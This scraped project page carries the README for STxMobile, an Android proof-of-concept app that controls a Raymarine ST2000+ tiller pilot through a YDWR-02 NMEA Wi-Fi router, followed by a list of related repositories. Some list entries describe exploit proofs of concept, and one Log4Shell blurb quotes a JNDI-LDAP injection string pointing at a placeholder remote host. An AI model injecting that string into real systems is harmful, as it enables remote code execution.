STxMobile is a proof of concept of an Android app for remotely controlling the Raymarine ST2000+ tiller pilot from an Android phone.

Overview

STxMobile

STxMobile is a proof of concept of an Android app for remotely controlling the Raymarine ST2000+ tiller pilot from an Android phone.

The application has been developed using the NMEA 0183 Wi-Fi Router YDWR-02 for routing NMEA data from openCPN to both the Raymarine ST2000+ and to the application, as well as to route SeaTalk data between the application and the Raymarine ST2000+.

Networking

The YDWR-02 device can work in Access Point mode (factory default) and in Client mode when it is connected to an existing Wi-Fi network. See YDWR-02 User Manual for more information.

In the example below, the YDWR-02 is in Access Point mode and acts as DHCP server.

Configuration

openCPN

Add a connection on openCPN to send NMEA data to the YDWR-02 device

NMEA 0183 Wi-Fi Router YDWR-02

Installation

In the example below auto tiller is connected to port #2 and to the SeaTalk1 port.

Configuration

Servers

  • Server #1 is used to receive SeaTalk sentences from the application.
  • Server #2 is used to receive NMEA data from openCPN and to route to the application.

Routing

SeaTalk

Verify that the SeaTalk settings are as below.

STxMobile

Click the three dots icon to access the settings page.

Note that currently the app needs to be restarted to read and apply new settings.

Verified with

Credits

Color palette and compass rose based on the beautiful app Compass made by PixelProse SARL.

You might also like...

Crackersanimator is a particle system library that works with the standard Android UI

Crackersanimator is a particle system library that works with the standard Android UI

Crackersanimator is a particle system library that works with the standard Android UI. This library build from https://github.com/plattysoft/Leonids library but make some update to support for latest version of android.

Jun 14, 2022

RealmeDirac - an open-source Android application written in java

RealmeDirac - an open-source Android application written in java

RealmeDirac is an open-source Android application written in java. RealmeDirac is a feature introduced by realme & dirac in realmeUI for sound optimisation, trying to recreate same thing, this is scratch written app aiming to provide same features as realmeDirac..

Feb 21, 2022

This repo contains a proof-of-concept for πŸ“±πŸš€πŸ‘‘βš‘, a deserialization vuln for local escalation of privilege to system_server in Android 10. This proof-of-concept only activates a privileged intent.

CVE-2020-0082-PoC This repo contains a proof-of-concept for πŸ“± πŸš€ πŸ‘‘ ⚑ , a deserialization vuln for local escalation of privilege to system_server in

Oct 11, 2022

A proof-of-concept Android application to detect and defeat some of the Cellebrite UFED forensic toolkit extraction techniques.

LockUp An Android-based Cellebrite UFED self-defense application LockUp is an Android application that will monitor the device for signs for attempts

Dec 4, 2022

A proof-of-concept Android application to detect and defeat some of the Cellebrite UFED forensic toolkit extraction techniques.

LockUp An Android-based Cellebrite UFED self-defense application LockUp is an Android application that will monitor the device for signs for attempts

Dec 4, 2022

A proof-of-concept serverless full-text search solution built with Apache Lucene and Quarkus framework.

Lucene Serverless This project demonstrates a proof-of-concept serverless full-text search solution built with Apache Lucene and Quarkus framework. βœ”οΈ

Oct 29, 2022

log4j2 Log4Shell CVE-2021-44228 proof of concept

log4j2 Log4Shell CVE-2021-44228 proof of concept

Log4Shell CVE-2021-44228 proof of concept Requirement Java (JDK/JRE) 8 or later version curl exploitable Simple spring boot application that serves a

Dec 21, 2021

CVE-2021-44228 (Log4Shell) Proof of Concept

CVE-2021-44228 (Log4Shell) Proof of Concept

CVE-2021-44228 (Log4Shell) Proof of Concept Apache Log4j2 =2.14.1 JNDI features used in configuration, log messages, and parameters do not protect ag

Mar 18, 2022

Log4Shell Zero-Day Exploit Proof of Concept

Log4Shell Zero-Day Exploit Proof of Concept

Log4Shell Zero-Day Exploit if attacker manage to log this string ${jndi:ldap://someaddresshere/param1=value1} to log4j it somehow loads the class/java

Oct 9, 2022

Slueth(Zipkin) λ₯Ό ν†΅ν•œ SQS Message Tracing POC(Proof of concept) μž…λ‹ˆλ‹€.

Slueth(Zipkin) λ₯Ό ν†΅ν•œ SQS Message Tracing POC(Proof of concept) μž…λ‹ˆλ‹€.

Sleuth AWS SQS POC ν•΄λ‹Ή ν”„λ‘œμ νŠΈλŠ” Slueth(Zipkin) λ₯Ό ν†΅ν•œ λ©”μ‹œμ§€ 좔적 POC(Proof of concept) μž…λ‹ˆλ‹€. Rest API λ₯Ό 톡해 POST μš”μ²­μ„ λ°›μœΌλ©΄, λ©”μ‹œμ§€λ₯Ό λ°œν–‰/μ†ŒλΉ„ ν•©λ‹ˆλ‹€. 이 κ³Όμ •μ—μ„œ μœ μ§€λ˜λŠ” TraceId λ₯Ό 확인

Nov 29, 2022

Log4j-RCE (CVE-2021-44228) Proof of Concept with additional information

Log4j-RCE (CVE-2021-44228) Proof of Concept with additional information

Log4J-RCE-Proof-Of-Concept (CVE-2021-44228) This is a proof of concept of the log4j rce. Here are some links for the CVE-2021-44228: https://www.lunas

Dec 2, 2022

Public proof-of-concept obfuscator using the MapleIR framework designed by cts & bibl

Public proof-of-concept obfuscator using the MapleIR framework designed by cts & bibl

Skidfuscator: Obfuscation like never seen before. Join the discord: https://discord.gg/QJC9g8fBU9 πŸ•΅οΈ What is Skidfuscator? Skidfuscator is a proof of

Jan 5, 2023

The application is a PoC that helps in identifying modern bankers, potentially malicious and remote controlling applications abusing Android AccessibilityService.

Motivation Project aims to help in: identifying keyloggers and events hijacking malicious applications such as Anubis/TeaBot, identifying a "fake bank

Dec 9, 2022

A exploit to remotely check if a chunk is loaded.

InteractCordExploit (NoCom) A exploit to remotely check if a chunk is loaded which has been automated to create heatmaps and find chunks with active p

Aug 18, 2022

Fall is an app that lets your phone scream if you throw it somewhere.

Fall is an app that lets your phone scream if you throw it somewhere.

Fall Fall is an app that lets your phone scream if you throw it somewhere. License Copyright (C) 2022 Gh05t-1337 This program is free software: you ca

Oct 31, 2022

Manage Nextcloud Maps Geobookmarks on your Android phone

Manage Nextcloud Maps Geobookmarks on your Android phone

Nextcloud Maps Geobookmarks Android app Android app to show your Nextcloud Maps geobookmarks list. Geobookmarks can be opened in all apps supporting g

Oct 20, 2022

Sync DND state between Android phone and watch

Sync DND state between Android phone and watch

DNDSync This App was developed to enable Do Not Disturb (DND) synchronization between my Pixel phone and the Galaxy Watch 4 since this option was only

Dec 19, 2022

Comparison between Java and Common Lisp solutions to a phone-encoding problem described by Prechelt

Prechelt Phone Number Encoding This project implements the phone number encoding described by Lutz Prechelt in his article for the COMMUNICATIONS OF T

Nov 30, 2021
Owner
Marco
Marco
An open source, modular alternative of sketchware. Create your own app in android using block programming like scratch!

OpenBlocks An open source, modular alternative of sketchware. Create your own app in android using block programming like scratch! What is OpenBlocks?

OpenBlocks 30 Dec 16, 2022
An easy to use Hindi keyboard Android app

AasaanHindi-Keyboard-app An easy to use Hindi keyboard Android app. Easy and fast Hindi typing.

Ankit Kumar 1 Jan 20, 2022
A todo app with Alan AI smart voice assistant android application

Todo App A todo app with Alan AI smart voice assistant android application. Experience a hands-free voice app where you can add, edit, delete and make

Venu Sai Madisetti 1 Jan 26, 2022
CodeLocator is a toolset that includes Android SDK and Android Studio plugins

CodeLocator is a toolset that includes Android SDK and Android Studio plugins. It has the following functions(Support Mac Only):

Bytedance Inc. 948 Jan 5, 2023
Cordova plugin for Android Serial USB communication (easily connect an Arduino board to an Android device).

PR-DC cordova-plugin-serialusb Cordova plugin for Android Serial USB communication. This plugin makes a connection to the external board trivial, for

PR-DC 3 May 8, 2022
A lightweight command processing pipeline ❍ β‡’ ❍ β‡’ ❍ for your Java awesome app.

PipelinR PipelinR is a lightweight command processing pipeline ❍ β‡’ ❍ β‡’ ❍ for your awesome Java app. PipelinR has been battle-proven on production, as

Eduards Sizovs 288 Jan 8, 2023
Flashcards app with Google Translate integration.

Flashcards application. Sample Spring + next.js + mongoDB Flashcard app, with Google Translator integration.

Łukasz 26 Nov 9, 2021
Adarsha Lipi is an app to help children to learn,read and write Bengali/English alphabet with beautiful picture

AdarshaLipi Adarsha Lipi is an app to help children to learn,read and write Bengali/English alphabet with beautiful picture.It contains not only alpha

Md Arif Hossain 2 Nov 3, 2022
An app that weighs the pros and cons of a decision to help you make the best decision

An app that weighs the pros and cons of a decision to help you make the best decision

Mambo Bryan 5 Feb 2, 2022
An android application to make students life easier by reducing their backpack weight.

Smart-Schooling An android application to make students life easier by reducing their backpack weight. Dont forget to ⭐ the repo Overview Almost every

Thamizh Kaniyan 3 Jan 31, 2022